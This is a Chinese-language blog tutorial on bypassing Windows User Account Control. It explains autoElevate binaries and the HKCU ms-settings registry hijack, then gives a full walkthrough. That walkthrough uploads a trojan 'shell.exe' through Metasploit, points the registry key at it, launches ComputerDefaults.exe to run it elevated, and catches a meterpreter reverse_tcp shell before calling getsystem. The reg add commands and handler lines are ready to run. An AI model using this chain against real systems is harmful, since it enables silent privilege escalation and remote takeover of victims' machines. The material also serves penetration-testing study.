当前位置: 首页 > news >正文

BypassUAC

用户账户控制(UAC)

定义:用户账户控制(User Account Control,UAC)是微软在Windows Vista中引入的一项安全技术,旨在提高系统安全性。

功能

  • UAC要求用户在执行可能影响计算机运行的操作(如安装软件或更改系统设置)前进行身份验证。

  • 防止未经授权的程序(如蓝牙软件和间谍软件)在计算机上进行安装或更改设置。

安全控制策略

  • 在Windows Vista及以后的版本中,UAC将权限分为三种等级:

    • 高等级:具有管理员权限。

    • 中等级:具有普通用户权限。

    • 低等级:权限有限,旨在减少安全威胁造成的损害。

认证要求

  • 在权限不足的情况下,访问系统磁盘根目录、Windows目录以及读写系统登录数据库等操作,都需要进行UAC认证。

白名单程序

  • 部分程序默认在UAC的白名单中。当打开这些程序时,它们会自动获取管理员权限,不会弹出UAC窗口。这些程序的autoElevate属性为True,启动时会静默提升为管理员权限。

绕过用户账户控制(UAC)的方法

1、auto Elevate 自动提升权限分析

可以利用某些程序来绕过UAC,主要通过以下步骤实现:

1、程序的Manifest配置

  • 每个Windows程序都可以包含一个Manifest文件。

  • 如果Manifest文件中的autoElevate属性被设置为True,该程序在启动时会自动获取管理员权限。

  • 效果:程序可以在不弹出UAC窗口的情况下以管理员身份运行。

2、不弹出UAC窗口

  • 具备autoElevate属性的程序在运行时不会显示UAC提示窗口,因此用户无法进行确认。

  • 这使得用户在不知情的情况下运行了一个具有高权限的程序。

2、利用注册表 Bypass UAC

查询注册表中的键值对

- 某些程序会访问Windows注册表中的`Shell\Open\command`键值对。
- 这个键值对通常存储的是**可执行文件**的路径。
- 当程序启动时,如果找到该键值对,它会执行注册表中定义的命令。
- 绕过UAC的实现:
  - 因为该程序是以提升的权限运行的,因此它执行的注册表命令也会以管理员权限运行。
  - 如果攻击者将恶意程序的路径写入这个注册表键值对,那么用户在打开某个文件时,系统会执行这个恶意程序,且不会弹出UAC提示。

一些高权限的程序会调用 HKCR:\ 下的键值。

流程:

1、修改注册表

  • HKEY_CURRENT_USER (HKCU) 下修改特定的键值,这些键值会同步影响 HKEY_CLASSES_ROOT (HKCR) 下的相应键值。

2、设置命令

  • 将特定的键值(如 ms-settings\shell\open\command)的原有内容修改为 cmd.exe 或其他 shell 程序的路径。

3、执行高权限程序

  • 当高权限程序(如 fodhelper.exeeventvwr.exe)在运行过程中访问这些修改过的键值时,将以高权限启动指定的程序(如 cmd.exe)。

4、实现 UAC 绕过

  • 通过上述步骤,如果高权限程序调用了修改后的注册表键值,就能在没有 UAC 提示的情况下执行恶意代码或命令。

常见的有:eventvwr.exefodhelper.exeComputerdefaults.exesdclt.exeslui.execleanmgr.execliconfg.exeschtasks.exemmc.exe下面以 fodhelper.exe 为例:

  • Path:C:\Windows\system32\fodhelper.exe

  • REG:HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command

reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Windows\System32\cmd.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f

3、总结

正常情况下,需要将这两种方法结合起来,才能有效地绕过UAC

带有 autoElevate=True 属性的程序可以在没有UAC提示的情况下以管理员权限运行。如果这些程序在执行过程中读取了修改过的注册表项,它们会以高权限执行该注册表中的命令,而不会弹出UAC确认窗口。

4、权限需求

一般是Administartors组里

  • 对于 autoElevate 方法

    • 通常需要管理员权限或具有较高权限的用户(如 Administrator 组)来执行这些程序。普通用户(如 www-data)通常无法执行这些程序或修改相关设置。

  • 对于利用注册表的方法

    • 在一些情况下,可以通过修改 HKEY_CURRENT_USER 下的键值来实现绕过,而不需要管理员权限,但这依赖于您能否访问和修改这些键值。

    • 高权限程序(如 fodhelper.exeeventvwr.exe)的存在是必要条件,因为它们会在运行时调用被修改的注册表键值。

工具

Manifesto

查询auto ElevateTrue的程序

g3rzi/Manifesto:从清单中搜索信息 (github.com)

使用方法

查看当前执行策略

Get-ExecutionPolicy

常见的执行策略包括:

  • Restricted:不允许执行任何脚本。

  • RemoteSigned:允许本地脚本执行,下载的脚本需要经过签名。

  • Unrestricted:允许所有脚本运行,下载的脚本会有警告

更改执行策略  

Set-ExecutionPolicy Unrestricted -Scope CurrentUser

 加载源文件

. C:\Users\xxxx\Downloads\Invoke-Manifesto.ps1

运行脚本

Invoke-Manifesto -FolderPath "C:\Windows\system32"

重点关注

  1. level(执行权限级别)

  • requireAdministrator: 这是最需要关注的部分。如果 level 被设置为 requireAdministrator,意味着该程序需要管理员权限来运行。

  • asInvoker: 程序以当前用户权限运行,这类程序不会请求提升权限,通常没有UAC绕过的潜力。

  • highestAvailable: 程序会尝试以当前用户的最高权限运行(如果当前用户是管理员,则会尝试获取管理员权限),这也是值得关注的。

  1. autoElevate(自动提升权限)

  • autoElevate=true: 这是关键的部分。如果这个属性被设置为 true,那么程序会自动提升权限,不会弹出UAC提示。这类程序具有绕过UAC的潜力。

  • 如果 autoElevate 是空白或 false,则程序不会自动提升权限。

UACMe

hfiref0x/UACME: Defeating Windows User Account Control (github.com)

PowerSploit

PowerShellMafia/PowerSploit:PowerSploit - PowerShell 漏洞利用后框架 (github.com)

案例

信息收集

whoami
net user a1657

 

发现在管理员组

上传脚本

# MSF模块
upload /opt/Manifesto-master/Invoke-Manifesto.ps1

更改执行策略
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
加载源文件
. C:\Users\a1657\Downloads\Invoke-Manifesto.ps1
运行脚本
Invoke-Manifesto -FolderPath "C:\Windows\system32"

 以ComputerDefaults.exe为例

上传木马

# MSF模块
upload /opt/shell.exe

修改注册表

reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /d C:\Users\a1657\Downloads\shell.exe /f
reg add HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_DWORD /d 00000000 /f

 运行

ComputerDefaults.exe

另一进程监听

handler -p windows/x64/meterpreter/reverse_tcp -H 0.0.0.0 -P 9999
getsystem


http://www.mrgr.cn/news/47976.html

相关文章:

  • 深度学习之常用数据集下载
  • C# Json文件写入、读取 ,Json文件序列化、反序列化
  • 【Java 22 | 1】 深入解析Java 22 :增强的模式匹配特性
  • 2024下半年软考中级网络工程师,这100题,必做!
  • Once In My Life(除法,思维)
  • Harbor镜像仓库安装配置及使用
  • 递归专题BFS
  • HJ212-2017协议详解:工业物联网环境监测标准简单了解
  • PCL将深度图转化为点云并存储为pcd文件
  • Verdin AM62使用CODESYS
  • 【Java SE 题库】递归的魅力之--> 汉诺塔问题
  • 初阶数据结构(2):空间复杂度和复杂度算法题
  • Alluxio在数据索引和模型分发中的核心价值与应用
  • vue3 + vite + cesium项目
  • ARM在嵌入式开发中的作用有哪些?
  • 攻防世界1
  • 51单片机数码管循环显示0~f
  • F开头的词根词缀:ful
  • 关于不建议使用北京新网数码信息技术公司的服务器和虚拟机的说明(重要说明)
  • PSD18C-LF-T7 高功率TVS射线管芯片IC